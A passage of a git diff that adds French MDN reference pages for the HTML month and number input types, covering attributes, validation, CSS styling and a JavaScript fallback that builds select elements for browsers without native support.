+<pre class="brush: html">&lt;label for="bday-month"&gt;Quel est le mois de votre naissance ?&lt;/label&gt;
+&lt;input id="bday-month" type="month" name="bday-month" value="2017-06"&gt;</pre>
+
+<p>{{EmbedLiveSample('value-example-1', 600, 60)}}</p>
+</div>
+
+<p>On notera que la façon dont la date est affichée peut varier selon la locale de l'utilisateur et être présentée sous un format différent. En revanche, d'un point de vue technique, la valeur de l'attribut <code>value</code> suivra toujours le format <code>YYYY-MM</code>.</p>
+
+<p>Par exemple, lorsque le formulaire précédent sera envoyé vers le serveur, l'information sera transmise de cette façon : <code>bday-month=1978-06</code>.</p>
+
+<p>Il est également possible de manipuler la date en JavaScript grâce à la propriété {{domxref("HTMLInputElement.value")}}. Par exemple :</p>
+
+<div id="value-example-2">
+<div class="hidden">
+<pre class="brush: html">&lt;label for="bday-month"&gt;Quel est le mois de votre naissance ?&lt;/label&gt;
+&lt;input id="bday-month" type="month" name="bday-month" value="2017-06"&gt;</pre>
+</div>
+
+<pre class="brush: js">var monthControl = document.querySelector('input[type="month"]');
+monthControl.value = '1978-06';</pre>
+
+<p>{{EmbedLiveSample("value-example-2", 600, 60)}}</p>
+</div>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs pris en charge par l'ensemble des éléments {{HTMLElement("input")}}, les champs pour les mois gèrent les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>Le mois (et l'année) le plus tardif qui est considéré comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>Le mois (et l'année) le plus tôt qui est considéré comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un booléen qui indique si l'utilisateur peut modifier la valeur du champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Le pas qui est utilisé pour incrémenter la valeur du champ. Cet incrément est utilisé par l'interface utilisateur et également pour vérifier la valeur.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(max)">{{htmlattrdef("max")}}</h3>
+
+<p>Le mois le plus tardif, indiqué avec l'année, sous la forme d'une chaîne de caractères au format <code>"yyyy-MM"</code>. Si la valeur saisie dans le champ (représentée par l'attribut {{htmlattrxref("value", "input")}}) est supérieure à cette date, <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">la validation échouera</a>. Si la valeur fournie n'est pas une chaîne de caractères au format correct, aucun maximum ne sera fixé pour la valeur du contrôle.</p>
+
+<p>Cette valeur doit être supérieure ou égale à celle indiquée par l'attribut <code>min</code>.</p>
+
+<h3 id="htmlattrdef(min)">{{htmlattrdef("min")}}</h3>
+
+<p>Le mois le plus tôt, indiqué avec l'année, sous la forme d'une chaîne de caractères au format <code>"yyyy-MM"</code>. Si la valeur saisie dans le champ (représentée par l'attribut {{htmlattrxref("value", "input")}}) est antérieure à cette date, <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">la validation échouera</a>. Si la valeur fournie pour cet attribut n'est pas une chaîne de caractères au format correct, aucun minimum ne sera fixé pour la valeur du contrôle.</p>
+
+<p>Cette valeur doit être inférieure ou égale à celle indiquée par l'attribut <code>max</code>.</p>
+
+<h3 id="htmlattrdef(readonly)">{{htmlattrdef("readonly")}}</h3>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que le champ ne peut pas être édité par l'utilisateur. La valeur de l'attribut <code>value</code> peut toutefois être modifiée grâce à du code JavaScript qui changerait la propriété {{domxref("HTMLInputElement.value")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Un champ en lecture seule pouvant ne pas avoir de valeur, l'attribut <code>required</code> n'aura aucun effet si l'attribut <code>readonly</code> est défini.</p>
+</div>
+
+<h3 id="htmlattrdef(step)">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>Pour les champs <code>month</code>, la valeur de l'attribut <code>step</code> est exprimée en mois et le facteur d'amplification est égal à 1 (la valeur sous-jacente est également exprimée en mois). La valeur par défaut pour cet attribut est 1.</p>
+
+<h2 id="Utiliser_&lt;input_typemonth>">Utiliser <code>&lt;input type="month"&gt;</code></h2>
+
+<p>Un élément <code>&lt;input&gt;</code> de type <code>month</code> permet d'avoir une interface utilisateur simple d'utilisation pour choisir un mois et également de respecter un même format, quelle que soit la locale de l'utilisateur. Toutefois, <code>&lt;input type="month"&gt;</code> n'est pas pris en charge par l'ensemble des navigateurs ce qui peut poser problème.</p>
+
+<p>Nous verrons ici quelques cas d'utilisation, simples puis complexes et nous aborderons ensuite comment gérer l'absence de prise en charge.</p>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<p>Dans son expression la plus simple, il suffit d'employer un élément <code>&lt;input&gt;</code> ainsi qu'un élément {{htmlelement("label")}} :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="bday-month"&gt;Quel est le mois de votre naissance ?&lt;/label&gt;
+  &lt;input id="bday-month" type="month" name="bday-month"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Utilisation_simple', 600, 40)}}</p>
+
+<h3 id="Indiquer_une_date_maximale_et_une_date_minimale">Indiquer une date maximale et une date minimale</h3>
+
+<p>On peut utiliser les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} afin de restreindre la période pendant laquelle l'utilisateur peut choisir un mois. Dans l'exemple qui suit, on définit une date au plus tôt avec <code>1900-01</code> et une date au plus tard avec <code>2017-08</code>:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="bday-month"&gt;Quel est le mois de votre naissance ?&lt;/label&gt;
+  &lt;input id="bday-month" type="month" name="bday-month"
+         min="1900-01" max="2017-08"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Indiquer_une_date_maximale_et_une_date_minimale', 600, 40)}}</p>
+
+<p>Grâce ce fragment de code :</p>
+
+<ul>
+ <li>Seuls les mois entre janvier 1900 et août 2017 peuvent être sélectionnés (le contrôle ne doit pas permettre de sélectionner un mois en dehors de cette période)</li>
+ <li>Selon le navigateur, les mois en dehors de la période ne peuvent pas être sélectionnés (Edge) ou sont invalides mais toujours disponibles (Chrome).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong> : L'attribut {{htmlattrxref("step", "input")}} devrait pouvoir être utilisé afin d'ajuster le pas d'incrémentation (par exemple si on ne veut pouvoir sélectionner que les mois de début de trimestre). Toutefois, à l'heure où nous écrivons ces lignes, aucun navigateur ne semble prendre correctement en charge cette fonctionnalité.</p>
+</div>
+
+<h3 id="Contrôler_la_taille_du_champ">Contrôler la taille du champ</h3>
+
+<p><code>&lt;input type="month"&gt;</code> ne peut pas être dimensionné grâce à {{htmlattrxref("size", "input")}}, il vous faudra utiliser <a href="/fr/docs/Web/CSS">CSS</a> si besoin.</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Par défaut, <code>&lt;input type="month"&gt;</code> n'applique pas de validation particulière sur la valeur saisie. C'est l'interface utilisateur qui ne permet pas de choisir autre chose qu'un mois.</p>
+
+<p>Les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent de limiter la période valide et l'attribut {{htmlattrxref("required", "input")}} rend le champ obligatoire. Avec ces attributs, les navigateurs afficheront un message d'erreur si la date choisie est hors de la période ou si la valeur est vide.</p>
+
+<p>Prenons un exemple avec une période délimitée et un champ obligatoire :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="month"&gt;À quel mois souhaitez-vous venir cet été ?&lt;/label&gt;
+    &lt;input id="month" type="month" name="month"
+           min="2017-06" max="2017-09" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+      &lt;input type="submit" value="Envoyer le formulaire"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Si vous tentez d'envoyer le formulaire avec une date incomplète ou en dehors de cette période, le navigateur doit afficher un message d'erreur. Voici le résultat <em>live</em> :</p>
+
+<p>{{EmbedLiveSample('Validation', 600, 120)}}</p>
+
+<p>Voici une capture d'écran qui illustre le résultat obtenu avec un navigateur prenant en charge cette fonctionnalité :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15395/month-required.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Voici ensuite la feuille de style CSS utilisée dans l'exemple précédent. On utilise {{cssxref(":valid")}} et {{cssxref(":invalid")}} afin de mettre en forme le contrôle selon que la valeur saisie est invalide. Les icônes ajoutées sont placées dans un élément {{htmlelement("span")}} à part car Chrome ne permet pas de gérer du contenu généré à même le contrôle ni de mettre en forme ce contenu généré.</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<div class="warning">
+<p><strong>Attention !</strong> Il est également important de vérifier le format de la valeur saisie côté serveur ! En effet, il est tout à fait possible pour un utilisateur de modifier le code HTML du site ou d'envoyer des données au serveur sans passer par le formulaire. Il est donc nécessaire de contrôler la valeur avant de s'en servir dans la logique de l'application côté serveur afin d'éviter des conséquences malheureuses.</p>
+</div>
+
+<h2 id="Gérer_la_prise_en_charge_des_navigateurs">Gérer la prise en charge des navigateurs</h2>
+
+<p>Comme évoqué plus haut, le problème principal relatif à ces contrôles est l'absence partielle de prise en charge des navigateurs. Seuls Chrome, Opera et Edge supportent ce type de contrôle sur ordinateurs et la plupart des navigateurs mobiles le prennent en charge. À titre d'exemple, voici une capture d'écran du contrôle sous Chrome pour Android :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15397/month-android.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Les navigateurs qui ne prennent pas en charge cette fonctionnalité basculent sur un contrôle textuel classique mais cela pose problème à la fois en termes de cohérence de l'interface utilisateur et aussi par rapport à la gestion des données.</p>
+
+<p>C'est ce deuxième aspect qui est le plus problématique. Comme nous l'avons mentionné, la valeur d'une date saisie dans un contrôle <code>&lt;input type="month"&gt;</code> est toujours normalisée au format <code>"YYYY-MM"</code>. En revanche, avec un champ textuel, le navigateur ne convertit pas la valeur saisie et les personnes peuvent très bien écrire un mois sous plusieurs formes :</p>
+
+<ul>
+ <li><code>MMYYYY</code></li>
+ <li><code>MM/YYYY</code></li>
+ <li><code>MM-YYYY</code></li>
+ <li><code>YYYY-MM</code></li>
+ <li>etc.</li>
+</ul>
+
+<p>Une façon de contourner ce problème consiste à utiliser l'attribut {{htmlattrxref("pattern", "input")}} sur l'élément <code>&lt;input type="month"&gt;</code>. Bien que le contrôle de type <code>month</code> ne gère pas cet attribut, ce dernier sera pris en charge par le champ texte. Vous pouvez essayer l'exemple suivant dans un navigateur qui ne prend pas en charge le contrôle de saisie des mois :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="month"&gt;À quel mois souhaitez-vous venir cet été ? (utilisez le format yyyy-mm)&lt;/label&gt;
+    &lt;input id="month" type="month" name="month"
+           min="2017-06" max="2017-09" required
+           pattern="[0-9]{4}-[0-9]{2}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+      &lt;input type="submit" value="Envoyer le formulaire"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Gérer_la_prise_en_charge_des_navigateurs', 600, 100)}}</p>
+
+<p>Si vous tentez d'envoyer ce formulaire, vous verrez un message d'erreur si la valeur saisie ne respecte pas le format <code>nnnn-nn</code>, où <code>n</code> est un chiffre entre 0 et 9. Bien entendu, cela n'empêche pas de saisir des dates inexistantes ou au mauvais format.</p>
+
+<p>De plus, cela présage que l'utilisateur comprenne le format dans lequel il faut saisir la valeur. Bref, le problème subsiste.</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>La meilleure façon de gérer la saisie de mois pour l'ensemble des navigateurs consiste actuellement à saisir le mois et l'année dans deux contrôles séparés, représentés chacun par un élément {{htmlelement("select")}}. On peut également utiliser certaines bibliothèques JavaScript telles que <a href="https://jqueryui.com/datepicker/">jQuery date picker</a> ou le plugin <a href="http://timepicker.co/">jQuery timepicker</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on crée deux ensembles d'éléments pour choisir un mois : un sélecteur natif <code>&lt;input type="month"&gt;</code> d'une part et un ensemble de deux éléments {{htmlelement("select")}} pour choisir le mois et l'année d'autre part (ce sont ces deux éléments qui seront utilisés lorsque le navigateur ne prend pas en charge le contrôle natif).</p>
+
+<p>{{EmbedLiveSample('Exemples', 600, 140)}}</p>
+
+<p>Voici le fragment de code HTML utilisé :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div class="nativeDatePicker"&gt;
+    &lt;label for="month-visit"&gt;À quel mois souhaitez-vous venir cet été ?&lt;/label&gt;
+    &lt;input type="month" id="month-visit" name="month-visit"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;p class="fallbackLabel"&gt;À quel mois souhaitez-vous venir cet été ?&lt;/p&gt;
+  &lt;div class="fallbackDatePicker"&gt;
+    &lt;div&gt;
+      &lt;span&gt;
+        &lt;label for="month"&gt;Mois :&lt;/label&gt;
+        &lt;select id="month" name="month"&gt;
+          &lt;option selected&gt;Janvier&lt;/option&gt;
+          &lt;option&gt;Février&lt;/option&gt;
+          &lt;option&gt;Mars&lt;/option&gt;
+          &lt;option&gt;Avril&lt;/option&gt;
+          &lt;option&gt;Mai&lt;/option&gt;
+          &lt;option&gt;Juin&lt;/option&gt;
+          &lt;option&gt;Juillet&lt;/option&gt;
+          &lt;option&gt;Août&lt;/option&gt;
+          &lt;option&gt;Septembre&lt;/option&gt;
+          &lt;option&gt;Octobre&lt;/option&gt;
+          &lt;option&gt;Novembre&lt;/option&gt;
+          &lt;option&gt;Décembre&lt;/option&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="year"&gt;Année :&lt;/label&gt;
+        &lt;select id="year" name="year"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Les mois sont représentés statiquement (ce sont toujours les mêmes) et les valeurs pour les années sont générées dynamiquement à partir de l'année courante (voir les commentaires dans le code suivant).</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>Une partie intéressante du code est celle qui permet de détecter la prise en charge de fonctionnalité. Pour détecter si le navigateur prend en charge ce contrôle, on crée un nouvel élément {{htmlelement("input")}} dont on modifie le type afin qu'il vaille <code>month</code> puis on vérifie immédiatement la valeur associée au type : les navigateurs qui ne prennent pas en charge la fonctionnalité renverront <code>text</code> car le champ <code>month</code> a automatiquement transformé en <code>text</code>. Si c'est le cas, on masque le sélecteur natif et on affiche le sélecteur alternatif (celui construit avec les éléments {{htmlelement("select")}}).</p>
+
+<pre class="brush: js">// On définit des variables
+var nativePicker = document.querySelector('.nativeDatePicker');
+var fallbackPicker = document.querySelector('.fallbackDatePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var monthSelect = document.querySelector('#month');
+
+// Par défaut on masque le sélecteur alternatif
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// On teste si un nouveau contrôle est automatiquement
+// converti en un champ texte
+var test = document.createElement('input');
+test.type = 'month';
+// Si c'est le cas, on exécute le code dans ce bloc if
+if(test.type === 'text') {
+  // on masque le sélecteur natif et on masque le sélecteur alternatif
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // on génère les valeurs pour les années
+  populateYears();
+}
+
+function populateYears() {
+  // On récupère l'année courante
+  var date = new Date();
+  var year = date.getFullYear();
+
+  // On ajoute l'année courante et les 100 années à venir
+  // dans l'élément &lt;select&gt; pour l'année
+  for(var i = 0; i &lt;= 100; i++) {
+    var option = document.createElement('option');
+    option.textContent = year-i;
+    yearSelect.appendChild(option);
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Attention, certaines années peuvent contenir 53 semaines ! (cf. <a href="https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year">cet article Wikipédia</a>) Il vous faudra prendre cela en compte si vous souhaitez développer des applications réelles.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente un mois et une année ou bien la chaîne vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}} et {{htmlattrxref("step", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#month-state-(type=month)', '&lt;input type="month"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-month")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément générique {{HTMLElement("input")}} et l'interface DOM qui permet de le manipuler : {{domxref("HTMLInputElement")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">Les formats de date et d'heure utilisés en HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs#Sélection_de_date_et_d'horaire">Un tutoriel à propos des sélecteurs de dates et d'heures</a></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/datetime-local">&lt;input type="datetime-local"&gt;</a></code>, <code><a href="/fr/docs/Web/HTML/Element/input/date">&lt;input type="date"&gt;</a></code>, <code><a href="/fr/docs/Web/HTML/Element/input/time">&lt;input type="time"&gt;</a></code>, and <code><a href="/fr/docs/Web/HTML/Element/input/week">&lt;input type="week"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/input/number/index.html b/files/fr/web/html/element/input/number/index.html
new file mode 100644
index 0000000000..e134aa2a77
--- /dev/null
+++ b/files/fr/web/html/element/input/number/index.html
@@ -0,0 +1,432 @@
+---
+title: <input type="number">
+slug: Web/HTML/Element/Input/number
+tags:
+  - Element
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/number
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <code><strong>number</strong></code> permettent à un utilisateur de saisir des nombres dans un formulaires. De tels contrôles incluent des mécanismes de validation natifs afin de rejeter les valeurs non-numériques.</span> Le navigateur peut agrémenter le contrôle avec des flèches afin d'incrémenter/décrémenter la valeur grâce à la souris ou avec le doigt.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-number.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<div class="note">
+<p><strong>Note </strong>: Si un navigateur ne prend pas en charge le type <code>number</code>, le contrôle affiché sera le contrôle standard pour la saisie d'un texte (cf. <code><a href="/fr/docs/Web/HTML/Element/input/text">text</a></code>).</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Un nombre (cf. {{jsxref("Number")}}) qui représente la valeur saisie dans le contrôle. Il est possible d'indiquer une valeur par défaut en utilisant l'attribut {{htmlattrxref("value", "input")}} :</p>
+
+<pre class="brush: html">&lt;input id="number" type="number" value="42"&gt;</pre>
+
+<p>{{EmbedLiveSample('Valeur', 600, 40)}}</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs pris en charge par l'ensemble des éléments {{HTMLElement("input")}}, les champs de type <code>"number"</code> peuvent utiliser les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>La valeur maximale qui peut être acceptée.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>La valeur minimale qui peut être acceptée.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Une valeur fournie comme exemple affiché lorsque le champ est vide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui contrôle si le champ est en lecture seule.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Le pas à utiliser pour incrémenter la valeur à l'aide du contrôle fourni par l'agent utilisateur. Cet incrément est également utilisé pour la validation de la valeur.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(max)">{{htmlattrdef("max")}}</h3>
+
+<p>La valeur maximale qui peut être acceptée pour ce champ. Si la valeur du champ (portée par l'attribut {{htmlattrxref("value", "input")}}) dépasse ce seuil, l'élément <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne pourra être validé</a>. Si la valeur de l'attribut <code>max</code> n'est pas un nombre, l'élément n'aura pas de maximum.</p>
+
+<p>Cette valeur doit être supérieure ou égale à l'attribut <code>min</code>.</p>
+
+<h3 id="htmlattrdef(min)">{{htmlattrdef("min")}}</h3>
+
+<p>La valeur minimale qui peut être acceptée pour ce champ. Si la valeur du champ (portée par l'attribut {{htmlattrxref("value", "input")}}) est inférieure à ce seuil, l'élément <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne pourra être validé</a>. Si la valeur de l'attribut <code>min</code> n'est pas un nombre, l'élément n'aura pas de minimum.</p>
+
+<p>Cette valeur doit être inférieure ou égale à l'attribut <code>max</code>.</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdef(step)">{{htmlattrdef("step")}}</h3>
+
+<div id="step-include">
+<p>L'attribut <code>step</code> est un nombre qui définit la granularité de la valeur ou le mot-clé <code>any</code>. Seule les valeurs qui sont des multiples de cet attribut depuis le seuil <code>{{anch("min")}}</code> sont valides.</p>
+
+<p>Lorsque la chaîne de caractères <code>any</code> est utilisée, cela indique qu'aucun incrément spécifique n'est défini et que toute valeur (comprise entre <code>{{anch("min")}}</code> et <code>{{anch("max")}}</code>) est valide.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsque les données saisies par l'utilisateur ne correspondent pas à l'incrément indiqué, l'agent utilisateur pourra arrondir à la valeur valide la plus proche (en choisissant les nombres les plus grands lorsque deux sont équidistants.</p>
+</div>
+</div>
+
+<p>Pour les champs <code>number</code>, l'incrément par défaut est 1 et ne permet donc que de saisir des entiers si la valeur de base est entière. Ainsi, si on a <code>min</code> qui vaut -10 et <code>value</code> qui vaut 1.5, si on a <code>step</code> qui vaut 1, seules les valeurs 1.5, 2.5, 3.5,... -0.5, -1.5, -2.5,... seront valides.</p>
+
+<h2 id="Utiliser_les_contrôles_de_saisie_numérique">Utiliser les contrôles de saisie numérique</h2>
+
+<p>Les éléments <code>&lt;input type="number"&gt;</code> simplifient la saisie de valeurs numériques dans un formulaire. Lorsqu'on crée un tel contrôle, des mécanismes de validation automatiques sont appliqués afin de vérifier que le texte saisi est bien un nombre. Généralement un contrôle de saisie numérique incluera des boutons avec des curseurs pour augmenter/réduire la valeur.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> On notera qu'un utilisateur peut toujours saisir des valeurs qui ne sont pas numériques dans de tels champs (par exemple avec un navigateur de bureau). Toutefois, ce comportement semble différer selon les navigateurs (voir {{bug(1398528)}}). Les valeurs non-numériques seront considérées comme invalide (cf. {{anch("Validation")}} ci-après).</p>
+</div>
+
+<div class="note">
+<p><strong>Note </strong>: Il est important de rappeler qu'un utilisateur peut tout à fait modifier le code HTML qui est utilisé. Le site ne doit donc pas se reposer sur les mécanismes de validation qui existent côté client pour considérer qu'une valeur est saine. Pour des raisons de contrôle et de sécurité, les valeurs envoyées via un formulaire doivent être vérifiées côté serveur.</p>
+</div>
+
+<p>De plus, les navigateurs mobiles peuvent adapter leur ergonomie en affichant un clavier adapté à la saisie de valeur numérique lorsque l'utilisateur appuie sur un tel contrôle. Voici le résultat qu'on obtient par exemple avec Firefox pour Android :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14963/number-keyboard-fxa.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Un_contrôle_simple">Un contrôle simple</h3>
+
+<p>Dans sa forme la plus simple, on peut implémenter un contrôle de saisie numérique avec le fragment HTML suivant :</p>
+
+<pre class="brush: html">&lt;label for="ticketNum"&gt;Nombre de tickets à acheter :&lt;/label&gt;
+&lt;input id="ticketNum" type="number" name="ticketNum" value="0"&gt;</pre>
+
+<p>{{EmbedLiveSample('Un_contrôle_simple', 600, 40)}}</p>
+
+<p>Un contrôle de saisie numérique considère que la valeur est valide si elle est vide ou quand un nombre est saisi. Dans les autres cas, la valeur est considérée invalide. Si l'attribut {{htmlattrxref("required", "input")}} est utilisé, la valeur vide n'est plus considérée valide.</p>
+
+<div class="note">
+<p><strong>Note </strong>: N'importe quel nombre est valide tant que c'est un nombre qui peut être représenté <a href="https://html.spec.whatwg.org/multipage/infrastructure.html#valid-floating-point-number">comme un nombre à virgule flottante</a> (autrement dit, un nombre qui n'est pas {{jsxref("NaN")}} ou {{jsxref("Infinity")}}).</p>
+</div>
+
+<h3 id="Indicateurs_de_saisie_-_placeholders">Indicateurs de saisie - <em>placeholders</em></h3>
+
+<p>Il est parfois utile de fournir une indication quant à la valeur qui devrait être saisie. C'est notamment le cas lorsque la disposition de la page ne permet pas d'avoir d'étiquettes suffisamment descriptives pour chaque {{HTMLElement("input")}}. Dans ces cas, on peut utiliser l'attribut <code>placeholder</code> afin de fournir une indication et qui sera le texte affiché dans le contrôle avant toute saisie ou quand la valeur est vide.</p>
+
+<p>Dans l'exemples qui suit, on utilise un élément <code>&lt;input</code><code>&gt;</code> de type <code>"number"</code> avec le texte indicatif <code>"Multiple de 10"</code>. Vous pouvez noter la façon dont le texte disparaît/réapparaît à selon la présence ou l'absence de valeur dans le champ.</p>
+
+<pre class="brush: html">&lt;input type="number" placeholder="Multiple de 10"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Indicateurs_de_saisie_-_placeholders', 600, 40) }}</p>
+
+<h3 id="Paramétrer_la_taille_de_l’incrément">Paramétrer la taille de l’incrément</h3>
+
+<p>Par défaut, les curseurs fournis pour incrémenter/décrémenter la valeur utilisent un pas de 1. Ce comportement par défaut peut être changé en utilisant l'attribut {{htmlattrxref("step", "input")}} dont la valeur représente le pas d'incrémentation. Dans l'exemple qui suit et parce que le texte informatif indique "Multiple de 10", on utilise un pas de 10 grâce à l'attribut <code>step</code> :</p>
+
